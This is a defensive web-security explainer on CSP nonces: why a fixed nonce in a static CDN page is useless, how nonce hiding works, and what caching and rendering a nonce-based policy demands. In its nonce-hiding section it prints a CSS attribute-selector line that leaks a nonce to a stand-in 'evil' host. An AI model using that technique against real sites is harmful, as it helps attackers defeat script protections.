A single-page app ships a static index.html from a CDN with a CSP nonce baked into its inline bootstrap script tag. Explain why that nonce provides no protection, and what a nonce-based Content-Security-Policy therefore demands of the response pipeline.

## What a nonce is CSP nonce stands for "number used once". The server picks a random value for one HTTP response, names it in the policy header, and stamps it on the script elements it is willing to trust: ```http Content-Security-Policy: script-src 'nonce-r4nd0mB4se64'; object-src 'none'; base-uri 'none' ``` ```html <script nonce="r4nd0mB4se64">bootstrap();</script> ``` The browser executes an inline script (or loads an external one) only when the element's nonce matches a nonce source in the policy. Crucially, the nonce says nothing about the script's *contents*. It is a claim of provenance: "whoever authored this policy also authored this tag". That is exactly the property an injection lacks — an attacker who can write markup into your page writes it into a response whose nonce they were not told. ## Why it has to change on every response An injected script and a legitimate script are indistinguishable to the parser; the only asymmetry the browser can exploit is knowledge of a secret the injector does not have. That asymmetry survives only if three things hold: 1. The value is unguessable — at least 128 bits from a cryptographically secure RNG, base64-encoded. A counter, a timestamp, or a short value is guessable. 2. The value is fresh per response. If today's page carries the same nonce as yesterday's, an attacker fetches the page, reads the nonce, and hard-codes it into the payload they store in your database. 3. The value is not readable by the attacker from *another* channel — hence nonce hiding, below. A static `index.html` on a CDN fails point two absolutely. The file is one fixed byte sequence served to everybody, attacker included; its nonce is public information. Worse, the setup usually looks healthy: your own scripts run, the console is clean, and the policy appears to be enforcing. It is enforcing a rule an attacker can satisfy at will. The same failure appears in subtler forms: an HTML document that is per-request but gets cached by a shared cache or CDN for sixty seconds, so every visitor in that window shares one nonce; or an edge that assembles a page from cached fragments minted under different nonces, where some fragments carry a stale value and silently stop executing. ## Nonce hiding Browsers implement "nonce hiding": once an element is parsed, the `nonce` **content attribute** is blanked, and the real value lives in an internal slot exposed through the `nonce` **IDL property**. So: ```js const s = document.currentScript; s.getAttribute('nonce'); // "" — deliberately hidden s.nonce; // "r4nd0mB4se64" ``` The reason is exfiltration. Without hiding, an attacker who can inject CSS (or markup that is not script) could leak the nonce a character at a time with attribute selectors such as `script[nonce^="a"] { background: url(//evil/a); }`, or read it back through the DOM from a gadget. Hiding it removes those side channels. In practice this is the detail that trips people up when they try to propagate a nonce to a script they create at runtime. ## What this costs your response pipeline - **The document must be dynamic.** Server rendering, a template, or an edge function that injects a fresh nonce into both the header and the markup for that one response. A purely static HTML file cannot carry a nonce; such a site has to either move its inline code into external files covered by `'self'`, or use hash-based sources instead. - **The document must not be shared-cached** — `Cache-Control: no-store` (or private, short-lived and nonce-aware) for the HTML. Your hashed JS, CSS and image assets are unaffected and stay on long cache lifetimes; only the small HTML shell pays. - **Every trusted inline script gets stamped at render time**, including the ones a framework's server renderer emits, hydration payloads, JSON-LD blocks and analytics snippets. Miss one and it silently stops running. - **Anything injected after load does not inherit the nonce** and needs it propagated explicitly. ## The payoff The reason teams accept the cost is that nonces let you stop maintaining a host allowlist. Allowlists are both operationally painful and weak — a single permitted host serving a JSONP endpoint or an unsafe library re-opens script execution. A nonce ties trust to "my server emitted this", which is the property you actually wanted.